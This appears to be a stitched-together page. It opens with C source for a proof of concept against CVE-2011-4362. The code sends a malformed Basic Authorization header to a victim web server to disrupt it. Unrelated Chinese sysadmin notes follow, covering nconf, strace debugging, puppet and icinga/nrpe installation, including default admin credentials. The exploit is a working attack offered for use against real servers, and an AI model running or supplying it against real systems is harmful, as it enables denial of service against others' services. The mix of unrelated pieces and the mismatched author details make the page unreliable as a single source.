#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <netdb.h>

#include <netinet/in.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <getopt.h>

#define PORT 80

#define SA struct sockaddr

char header[] =

"GET /%s/ HTTP/1.1\r\n"

"Host: %s\r\n"

"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:8.0.1) Gecko/20100101 Firefox/8.0.1\r\n"

"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"

"Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n"

"Accept-Encoding: gzip, deflate\r\n"

"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"

"Proxy-Connection: keep-alive\r\n"

"Authorization: Basic ";

char header_port[] =

"GET /%s/ HTTP/1.1\r\n"

"Host: %s:%d\r\n"

"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:8.0.1) Gecko/20100101 Firefox/8.0.1\r\n"

"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"

"Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n"

"Accept-Encoding: gzip, deflate\r\n"

"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"

"Proxy-Connection: keep-alive\r\n"

"Authorization: Basic ";

int main(int argc, char *argv[]) {

   int i=PORT,opt=0,sockfd;

   char *remote_dir = NULL;

   char *r_hostname = NULL;

   struct sockaddr_in servaddr;

   struct hostent *h = NULL;

   char *buf;

   unsigned int len = 0x0;

   if (!argv[1])

      usage(argv[0]);

   printf("\n\t...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki) ]=- :::...\n");

   printf("\n\t\t[+] Preparing arguments... ");

   while((opt = getopt(argc,argv,"h:d:p:?")) != -1) {

      switch(opt) {

       case 'h':

         r_hostname = strdup(optarg);

         if ( (h = gethostbyname(r_hostname))==NULL) {

             printf("Gethostbyname() field!\n");

             exit(-1);

         }

         break;

       case 'p':

             i=atoi(optarg);

         break;

       case 'd':

             remote_dir = strdup(optarg);

         break;

       case '?':

             usage(argv[0]);

         break;

       default:

             usage(argv[0]);

         break;

      }

   }

   if (!remote_dir || !h) {

      usage(argv[0]);

      exit(-1);

   }

   servaddr.sin_family      = AF_INET;

   servaddr.sin_port        = htons(i);

   servaddr.sin_addr        = *(struct in_addr*)h->h_addr;

   len = strlen(header_port)+strlen(remote_dir)+strlen(r_hostname)+512;

   if ( (buf = (char *)malloc(len)) == NULL) {

      printf("malloc() :(\n");

      exit(-1);

   }

   memset(buf,0x0,len);

   if (i != 80)

      snprintf(buf,len,header_port,remote_dir,r_hostname,i);

   else

      snprintf(buf,len,header,remote_dir,r_hostname);

   for (i=0;i<130;i++)

      buf[strlen(buf)] = 127+i;

   buf[strlen(buf)] = '\r';

   buf[strlen(buf)] = '\n';

   buf[strlen(buf)] = '\r';

   buf[strlen(buf)] = '\n';

   printf("OK\n\t\t[+] Creating socket... ");

   if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0 ) {

      printf("Socket() error!\n");

      exit(-1);

   }

   printf("OK\n\t\t[+] Connecting to [%s]... ",r_hostname);

   if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) < 0 ) {

      printf("Connect() error!\n");

      exit(-1);

   }

   printf("OK\n\t\t[+] Sending dirty packet... ");

//   write(1,buf,strlen(buf));

   write(sockfd,buf,strlen(buf));

   printf("OK\n\n\t\t[+] Check the website!\n\n");

   close(sockfd);

}

int usage(char *arg) {

      printf("\n\t...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki) ]=- :::...\n");

 printf("\n\t*** [ blog http://www.kukafei520.net ]");

 printf("\n\t*** [ E-mail voilet119@163.com ]");

      printf("\n\tUsage: %s <options>\n\n\t\tOptions:\n",arg);

      printf("\t\t\t -v <victim>\n\t\t\t -p <port>\n\t\t\t -d <remote_dir_for_auth>\n\n");

      exit(0);

} 

下载最新的nconf文件

wget http://sourceforge.net/projects/nconf/files/nconf/1.3.0-0/nconf-1.3.0-0.tgz/download

下载完文件后，直接解压缩，配置好数据库用户名及密码，配置好nginx或是apache，本文使用nginx配置其虚拟主机

直接访问地址http://127.0.0.1

按提示进行安装，安装完成后需要删除INSTALL INSTALL.php Update Update.php这几个目录及文件，否则无法跳转到安装成功的界面

以下为nconf的截图

使用strace -p "进程号"就开始进程跟踪了，一会就显示完跟踪结果，结果如下：

poll([{fd=8, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout)
setsockopt(8, SOL_SOCKET, SO_SNDTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
write(8, "\37\0\0\0\3select get_Lock(114180,1) n"..., 35) = 35
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
read(8, "\1\0\0\1\1\32\0\0\2\3def\0\0\0\4name\0\f?\0\1\0\0\0\10\200\0"..., 16384) = 59
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
poll([{fd=8, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout)
setsockopt(8, SOL_SOCKET, SO_SNDTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
write(8, "\337\1\0\0\3update fs_user_account a, f"..., 483) = 483
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
read(8, "0\0\0\1\0\0\0\2\0\0\0(Rows matched: 0 Cha"..., 16384) = 52
poll([{fd=8, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout)
setsockopt(8, SOL_SOCKET, SO_SNDTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
write(8, "\34\0\0\0\3select RELEASE_LOCK(114180)", 32) = 32
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
read(8, "\1\0\0\1\1*\0\0\2\3def\0\0\0\24RELEASE_LOCK(11"..., 16384) = 75
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, "\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0", 16) = 0
lstat("/mnt", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/mnt/NAS", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/mnt/NAS/pay.funshion.com", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/mnt/NAS/pay.funshion.com/log", {st_mode=S_IFDIR|0755, st_size=20480, ...}) = 0
lstat("/mnt/NAS/pay.funshion.com/log/pay_20111117.log", {st_mode=S_IFREG|0644, st_size=1762494, ...}) = 0
open("/mnt/NAS/pay.funshion.com/log/pay_20111117.log", O_WRONLY|O_CREAT|O_APPEND, 0666) = 9
fstat(9, {st_mode=S_IFREG|0644, st_size=1762494, ...}) = 0
lseek(9, 0, SEEK_CUR) = 0
lseek(9, 0, SEEK_CUR) = 0
flock(9, LOCK_EX <unfinished ...>
Process 1212 detached

很明显程序在写入pay_20111117.log向nas写文件时进程阻塞了，问题就明显了，nas上多组业务都在大量读写，因此nas后来改为只做文件挂载，而日志等其它东西全部本地化，马上修改其配置文件，业务全部恢复正常，大家在遇到一些自己找不到问题原因的时候，可以多试一下strace跟踪命令，比如你一个服务无法启动，可使用strace service mysqld start，一样可以显示跟踪结果，很容易就问题定位了，至此已完美解决问题

本文全部为tar包编译，适合于centos及redhat系统，特别强调安装完puppet客户端后修改手动编译位置，文中做了说明

实验环境：Vmware +centos 5.4/64 redhat 4.5/64
软件环境： ruby 1.86 mysql为yum包 puppet 2.7.3 facter-1.6.0

服务端：192.168.8.207 puppet
客户端：192.168.8.208 redhat4

客户端服务端配置：
本地解析配置
vi /etc/hosts
192.168.8.207 puppet
192.168.8.208 redhat4

puppet 需要时间同步
yum install -y ntp
ntpdate ntp.api.bz

下载所需tar包
cd ~
wget http://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6.tar.gz
tar zxvf ruby-1.8.6.tar.gz
cd ruby-1.8.6
./configure
make && make install
ln -s /usr/local/lib/ruby /usr/bin/
cd ../

wget http://puppetlabs.com/downloads/facter/facter-1.6.0.tar.gz
tar zxvf facter-1.6.0.tar.gz
cd facter-1.6.0
ruby install.rb
cd ../

wget http://puppetlabs.com/downloads/puppet/puppet-2.7.3.tar.gz
tar zxvf puppet-2.7.3.tar.gz
cd puppet-2.7.3
ruby install.rb

groupadd puppet
useradd -g puppet -s /bin/false -M puppet
puppetmasterd -mkusers
cp conf/redhat/* /etc/puppet/

验证是否成功安装
puppet master
[root@puppet ~]# ps aux |grep puppet |grep -v grep
显示puppet进程...
puppet 3444 0.2 12.0 127136 38168 ? Ssl 11:00 0:00 /usr/bin/ruby /usr/bin/puppet master

服务端：
cp /etc/puppet/server.init /etc/init.d/puppetmasterd
chmod 755 /etc/init.d/puppetmasterd
chkconfig --add puppetmasterd
chkconfig --level 35 puppetmasterd on

pkill puppet 先删除之前的验证进程
service puppetmasterd start 启动
服务端口是8140
查看端口监听
[root@puppet ~]# lsof -i:8140
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
puppetmas 22674 puppet 7u IPv4 395077 TCP *:8140 (LISTEN)

客户端：
cp /etc/puppet/client.init /etc/init.d/puppetd
chmod 755 /etc/init.d/puppetd
chkconfig --add puppetd

chkconfig --level 35 puppetd on

server= CTC-SQUID-231
runinterval =250
listen = true
report = true

须注意：
手动编译puppetd在/usr/local/sbin/puppetd
需要手动修改启动脚本位置（程序在19行的位置）
vi /etc/init.d/puppetd
找到puppetd=${PUPPETD-/usr/sbin/puppetd} 修改为puppetd=${PUPPETD-/usr/local/sbin/puppetd}

也可执行下面shell进行修改
sed -i 's#/usr/sbin/puppetd#/usr/local/sbin/puppetd#' /etc/init.d/puppetd

pkill puppet 先删除之前的验证进程
service puppetd start

在客户端申请证书
[root@redhat4 ~]# puppetd --test --server puppet
warning: peer certificate won't be verified in this SSL session
warning: peer certificate won't be verified in this SSL session
warning: peer certificate won't be verified in this SSL session
Exiting; no certificate found and waitforcert is disabled

如上所示表示已连接上服务端，等待服务端授权
服务器如下操作：
[root@puppet ~]# puppetca --list
redhat4
已经显示客户端请求主机名，将主机授权
[root@puppet ~]# puppetca -s redhat4
notice: Signed certificate request for redhat4
notice: Removing file Puppet::SSL::CertificateRequest redhat4 at '/var/lib/puppet/ssl/ca/requests/redhat4.pem'

在到客户端在次请求
[root@redhat4 ~]# puppetd --test --server puppet
info: Caching catalog for redhat4
info: Applying configuration version '1316439443'
notice: Finished catalog run in 0.05 seconds

如上所示已正经成功

如以上出现error 字样 则 删除client上的ssl文件夹
err: Could not retrieve catalog from remote server: certificate verify failed
warning: Not using cache on failed catalog
err: Could not retrieve catalog; skipping run

rm -rf /var/lib/puppet/ssl/
再次循环申请证书 puppetd --test --server puppet

完成
证书同主机名绑定，如一方修改了主机名则需重新生成证书

主机删除客户端证书
puppetca --clean 主机名

功能测试
[root@puppet ~]# vi /etc/puppet/manifests/site.pp
node default {
file { "/tmp/funshion.txt":content => "voilet hello,this is test64 to your pc\n";}
}
新加文件需指定权限，否则无法正常执行
chown -R puppet:puppet /etc/puppet/mainfests/site.pp

service puppetmasterd restart 初次建立这个文件须重启服务
client上执行 puppetd --test --server puppet

[root@redhat4 ~]# puppetd --test --server puppet
info: Caching catalog for redhat4
info: Applying configuration version '1316439602'
notice: /Stage[main]//Node[default]/File[/tmp/funshion.txt]/ensure: defined content as '{md5}7e6c72f5e0b42ae25fa133957719a82d'
notice: Finished catalog run in 0.05 seconds

可以看到已经生成文件：/tmp/funshion.txt
[root@redhat4 ~]# cat /tmp/funshion.txt
voilet hello,this is test64 to your pc

中文项目地址

http://icinga-cn.sourceforge.net/

安装基础依赖

yum install libdbi-devel libdbi libdbi-drivers libdbi-dbd-mysql

新增用户组及用户

groupadd www
useradd -g www www

wget http://jaist.dl.sourceforge.net/project/icinga-cn/icinga-cn/icinga-cn-1.5.1/icinga-cn-1.5.1.tar.bz2
tar jxvf icinga-cn-1.5.1.tar.bz2
cd icinga-cn-1.5.1
./configure --prefix=/usr/local/icinga --enable-idoutils --enable-embedded-perl --enable-ssl --with-icinga-user=www --with-icinga-group=www --with-command-user=www --with-command-group=www --with-web-user=www --with-web-group=www --with-httpd-conf=/etc/httpd/conf/conf.d
make all
make install
make install-init
make install-commandmode
make install-idoutils
make install-api
make install-config
make install-webconf

安装nagios插件

tar zxvf nagios-plugins-1.4.15.tar.gz
cd nagios-plugins-1.4.15/
./configure --prefix=/usr/local/icinga --with-cgiurl=/icinga/cgi-bin --with-htmurl=/www --with-nagios-user=www --with-nagios-group=www
make && make install

安装nrpe

tar zxvf icinga-nrpe-HEAD.tar.gz
cd icinga-nrpe
./configure --with-nrpe-user=www --with-nrpe-group=www --with-icinga-user=www --with-icinga-group=www
make
make install

拷贝nrpe文件：

cp src/nrpe /usr/local/icinga/bin
cp sample-config/nrpe.cfg /usr/local/icinga/etc

启动nrpe病检查：

/usr/local/icinga/bin/nrpe -n -c /usr/local/icinga/etc/nrpe.cfg -d
/usr/local/icinga/libexec/check_nrpe -H 127.0.0.1 -n

默认其icinga用户名
user:icingaadmin
pass:admin
如修改密码则使用
htpasswd -c /usr/local/icinga/etc/htpasswd.users icingaadmin

如修改用户名，则须修改cgi.cfg文件，将里面的icingaadm修改为你修改的用户，否则无权限查看主机服务

在其它客户机安装nrpe及nagios插件即可，nrpe配置文件允许监控主机进行数据采集

在客户机安装完成插件及nrpe后，可从服务端向客户端进行连接测试

usr/local/icinga/libexec/check_nrpe -H 192.168.1.128 -c check_load
OK - load average: 0.16, 0.14, 0.06|load1=0.160;1.500;3.000;0; load5=0.140;1.100;2.200;0; load15=0.060;0.900;1.900;0;

如测试硬盘空间check_disk或swap交换分区check_swap等，最后界面如下